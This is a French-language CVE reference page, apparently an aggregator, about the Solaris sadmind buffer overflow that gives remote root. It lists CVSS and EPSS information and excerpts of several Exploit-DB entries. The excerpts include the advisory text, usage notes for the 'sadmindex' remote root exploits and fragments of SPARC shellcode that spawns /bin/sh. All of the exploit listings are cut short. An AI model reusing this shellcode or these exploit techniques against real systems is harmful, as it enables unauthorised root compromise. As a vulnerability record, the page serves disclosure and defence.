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Descriptions du CVE
Buffer overflow in Solaris sadmind allows remote attackers to gain root privileges using a NETMGT_PROC_SERVICE request.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 10 | AV:N/AC:L/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 19668
Date de publication : 1999-06-23 22h00 +00:00
Auteur : Cheez Whiz
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/866/info
Certain versions of Solaris ship with a version of sadmind which is vulnerable to a remotely exploitable buffer overflow attack. sadmind is the daemon used by Solstice AdminSuite applications to perform distributed system administration operations such as adding users. The sadmind daemon is started automatically by the inetd daemon whenever a request to invoke an operation is received.
Under vulnerable versions of sadmind (2.6 and 7.0 have been tested), if a long buffer is passed to a NETMGT_PROC_SERVICE request (called via clnt_call()), it is possible to overwrite the stack pointer and execute arbitrary code. The actual buffer in questions appears to hold the client's domain name. The overflow in sadmind takes place in the get_auth() function, part of the /usr/snadm/lib/libmagt.so.2 library. Because sadmind runs as root any code launched as a result will run as with root privileges, therefore resulting in a root compromise.
/**
*** sadmindex - SPARC Solaris remote root exploit for /usr/sbin/sadmind
***
*** Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
***
*** Usage: % sadmindex -h hostname -c command -s sp [-o offset] \
*** [-a alignment] [-p]
***
*** where hostname is the hostname of the machine running the vulnerable
*** system administration daemon, command is the command to run as root
*** on the vulnerable machine, sp is the %sp stack pointer value, offset
*** is the number of bytes to add to sp to calculate the desired return
*** address, and alignment is the number of bytes needed to correctly
*** align the contents of the exploit buffer.
***
*** If run with a -p option, the exploit will only "ping" sadmind on the
*** remote machine to start it running. The daemon will be otherwise
Exploit Database EDB-ID : 19669
Date de publication : 1999-06-23 22h00 +00:00
Auteur : Cheez Whiz
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/866/info
Certain versions of Solaris ship with a version of sadmind which is vulnerable to a remotely exploitable buffer overflow attack. sadmind is the daemon used by Solstice AdminSuite applications to perform distributed system administration operations such as adding users. The sadmind daemon is started automatically by the inetd daemon whenever a request to invoke an operation is received.
Under vulnerable versions of sadmind (2.6 and 7.0 have been tested), if a long buffer is passed to a NETMGT_PROC_SERVICE request (called via clnt_call()), it is possible to overwrite the stack pointer and execute arbitrary code. The actual buffer in questions appears to hold the client's domain name. The overflow in sadmind takes place in the get_auth() function, part of the /usr/snadm/lib/libmagt.so.2 library. Because sadmind runs as root any code launched as a result will run as with root privileges, therefore resulting in a root compromise.
/**
*** sadmindex - i386 Solaris remote root exploit for /usr/sbin/sadmind
***
*** Tested and confirmed under Solaris 2.6 and 7.0 (i386)
***
*** Usage: % sadmindex -h hostname -c command -s sp -j junk [-o offset] \
*** [-a alignment] [-p]
***
*** where hostname is the hostname of the machine running the vulnerable
*** system administration daemon, command is the command to run as root
*** on the vulnerable machine, sp is the %esp stack pointer value, junk
*** is the number of bytes needed to fill the target stack frame (which
*** should be a multiple of 4), offset is the number of bytes to add to
*** sp to calculate the desired return address, and alignment is the
*** number of bytes needed to correctly align the contents of the exploit
*** buffer.
***
Exploit Database EDB-ID : 19670
Date de publication : 2000-11-09 23h00 +00:00
Auteur : nikolai abromov
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/866/info
Certain versions of Solaris ship with a version of sadmind which is vulnerable to a remotely exploitable buffer overflow attack. sadmind is the daemon used by Solstice AdminSuite applications to perform distributed system administration operations such as adding users. The sadmind daemon is started automatically by the inetd daemon whenever a request to invoke an operation is received.
Under vulnerable versions of sadmind (2.6 and 7.0 have been tested), if a long buffer is passed to a NETMGT_PROC_SERVICE request (called via clnt_call()), it is possible to overwrite the stack pointer and execute arbitrary code. The actual buffer in questions appears to hold the client's domain name. The overflow in sadmind takes place in the get_auth() function, part of the /usr/snadm/lib/libmagt.so.2 library. Because sadmind runs as root any code launched as a result will run as with root privileges, therefore resulting in a root compromise.
// *** Synnergy Networks
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
/* *** ATTENTION *** you may have to change some
of these *** ATTENTION *** */
Exploit Database EDB-ID : 19672
Date de publication : 1999-12-09 23h00 +00:00
Auteur : Cheez Whiz
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/866/info
Certain versions of Solaris ship with a version of sadmind which is vulnerable to a remotely exploitable buffer overflow attack. sadmind is the daemon used by Solstice AdminSuite applications to perform distributed system administration operations such as adding users. The sadmind daemon is started automatically by the inetd daemon whenever a request to invoke an operation is received.
Under vulnerable versions of sadmind (2.6 and 7.0 have been tested), if a long buffer is passed to a NETMGT_PROC_SERVICE request (called via clnt_call()), it is possible to overwrite the stack pointer and execute arbitrary code. The actual buffer in questions appears to hold the client's domain name. The overflow in sadmind takes place in the get_auth() function, part of the /usr/snadm/lib/libmagt.so.2 library. Because sadmind runs as root any code launched as a result will run as with root privileges, therefore resulting in a root compromise.
/*************************************************************************\
** **
** Super Solaris sadmin Exploit - Based on sadminex by Cheez Whiz **
** by optyx <optyx@uberhax0r.net> **
** based on sadminsparc. and sadminx86.c by Cheez Whiz **
** **
\*************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>
char shellsparc[] = "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff"
"\x90\x03\xe0\x5c\x92\x22\x20\x10\x94\x1b\xc0\x0f"
"\xec\x02\x3f\xf0\xac\x22\x80\x16\xae\x02\x60\x10"
Exploit Database EDB-ID : 213
Date de publication : 2000-11-30 23h00 +00:00
Auteur : Optyx
EDB Vérifié : Yes
/*************************************************************************\
** **
** Super Solaris sadmin Exploit by optyx <optyx@uberhax0r.net> **
** based on sadminsparc. and sadminx86.c by Cheez Whiz **
** **
\*************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>
char shellsparc[] =
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff"
"\x90\x03\xe0\x5c\x92\x22\x20\x10\x94\x1b\xc0\x0f"
"\xec\x02\x3f\xf0\xac\x22\x80\x16\xae\x02\x60\x10"
"\xee\x22\x3f\xf0\xae\x05\xe0\x08\xc0\x2d\xff\xff"
"\xee\x22\x3f\xf4\xae\x05\xe0\x03\xc0\x2d\xff\xff"
"\xee\x22\x3f\xf8\xae\x05\xc0\x16\xc0\x2d\xff\xff"
"\xc0\x22\x3f\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff"
Products Mentioned
Configuraton 0
Sun>>Solaris >> Version 2.5
Sun>>Solaris >> Version 2.5.1
Sun>>Solaris >> Version 2.5.1
Sun>>Solaris >> Version 2.6
- Sun>>Solaris >> Version 2.6 (Open CPE detail)
- Sun>>Solaris >> Version 2.6 (Open CPE detail)
- Sun>>Solaris >> Version 2.6 (Open CPE detail)
- Sun>>Solaris >> Version 2.6 (Open CPE detail)
- Sun>>Solaris >> Version 2.6 (Open CPE detail)
Sun>>Solaris >> Version 7.0
Sun>>Sunos >> Version -
- Sun>>Sunos >> Version - (Open CPE detail)
Sun>>Sunos >> Version 5.5
- Sun>>Sunos >> Version 5.5 (Open CPE detail)
Sun>>Sunos >> Version 5.5.1
- Sun>>Sunos >> Version 5.5.1 (Open CPE detail)
Sun>>Sunos >> Version 5.7
- Sun>>Sunos >> Version 5.7 (Open CPE detail)
Références
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/191
Tags : vendor-advisory, x_refsource_SUN
Tags : vendor-advisory, x_refsource_SUN
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